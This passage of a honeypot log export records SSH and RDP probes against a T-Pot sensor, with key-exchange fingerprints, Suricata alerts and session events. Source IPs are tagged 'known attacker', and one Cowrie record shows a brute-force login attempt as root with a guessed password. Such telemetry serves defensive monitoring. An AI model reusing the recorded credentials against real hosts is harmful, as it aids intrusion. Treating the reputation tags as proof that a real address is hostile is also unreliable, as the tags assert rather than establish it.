"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44928, "dest_port": 22, "timestamp": "2021-09-20T12:14:24.065358", "@timestamp": "2021-09-20T12:14:24.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36426	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:14:24.06595+03	2021-09-20 15:15:04.569691+03	{"_id": "awYgA3wBvYTbRNuE-GJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "683b3bc8f922", "@version": "1", "timestamp": "2021-09-20T12:14:24.065950Z", "@timestamp": "2021-09-20T12:14:24.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36427	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:14:23.871643+03	2021-09-20 15:15:04.57169+03	{"_id": "agYgA3wBvYTbRNuE-GJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [root/rootr00t] failed", "session": "ba1255a9ff5f", "@version": "1", "password": "rootr00t", "username": "root", "timestamp": "2021-09-20T12:14:23.871643Z", "@timestamp": "2021-09-20T12:14:23.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36428	121.4.68.188	109.199.241.180	Suricata	2021-09-20 15:14:24.065358+03	2021-09-20 15:15:04.57269+03	{"_id": "bwYgA3wBvYTbRNuE-WJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:14:23.516469+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 87999503130997, "payload": "AAADzAYU/VCZ+57Ia2Evx4whN5JQDgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44928, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:14:24.065358Z", "@timestamp": "2021-09-20T12:14:24.065Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......P....ka/..!7.P....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
46877	87.251.67.120	109.199.241.180	Fatt	2021-09-20 16:46:12.499336+03	2021-09-20 17:00:03.355705+03	{"_id": "UwZ1A3wBvYTbRNuEBK4i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 41600, "dest_port": 3389, "timestamp": "2021-09-20T13:46:12.499336", "@timestamp": "2021-09-20T13:46:12.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
36429	40.67.250.120	109.199.241.180	Suricata	2021-09-20 15:14:24.785417+03	2021-09-20 15:15:04.57369+03	{"_id": "cAYgA3wBvYTbRNuE-WJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:14:24.785417+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "40.67.250.120", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 53.3338, "location": {"lat": 53.3338, "lon": -6.2488}, "timezone": "Europe/Dublin", "city_name": "Dublin", "longitude": -6.2488, "postal_code": "D02", "region_code": "L", "region_name": "Leinster", "country_name": "Ireland", "country_code2": "IE", "country_code3": "IE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "40.67.250.120", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 485208816155657, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62596, "timestamp": "2021-09-20T12:14:24.785417Z", "@timestamp": "2021-09-20T12:14:24.785Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	IE
36430	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:14:25.158209+03	2021-09-20 15:15:04.57569+03	{"_id": "cgYgA3wBvYTbRNuE_GIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ba1255a9ff5f", "@version": "1", "duration": 2.796020984649658, "timestamp": "2021-09-20T12:14:25.158209Z", "@timestamp": "2021-09-20T12:14:25.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36431	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:14:26.525435+03	2021-09-20 15:15:04.576691+03	{"_id": "dAYhA3wBvYTbRNuEAGIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "683b3bc8f922", "@version": "1", "duration": 2.7328763008117676, "timestamp": "2021-09-20T12:14:26.525435Z", "@timestamp": "2021-09-20T12:14:26.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36432	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:14:41.668064+03	2021-09-20 15:15:04.57769+03	{"_id": "oQYhA3wBvYTbRNuEPGLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2326, "dest_port": 22, "timestamp": "2021-09-20T12:14:41.668064", "@timestamp": "2021-09-20T12:14:41.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36433	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:14:43.838494+03	2021-09-20 15:15:04.57969+03	{"_id": "pAYhA3wBvYTbRNuEQ2Ka", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:14:43.755233+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 446397345400353, "payload": "AAADzAYU+ZrMlAz7FkxfVRhVXg6kfAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40904, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:14:43.838494Z", "@timestamp": "2021-09-20T12:14:43.838Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............L_U.U^..|...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	NL
36434	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:14:43.838494+03	2021-09-20 15:15:04.580691+03	{"_id": "pQYhA3wBvYTbRNuERGKa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40904, "dest_port": 22, "timestamp": "2021-09-20T12:14:43.838494", "@timestamp": "2021-09-20T12:14:43.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
36435	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:14:43.796274+03	2021-09-20 15:15:04.58269+03	{"_id": "rQYhA3wBvYTbRNuERmJ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": 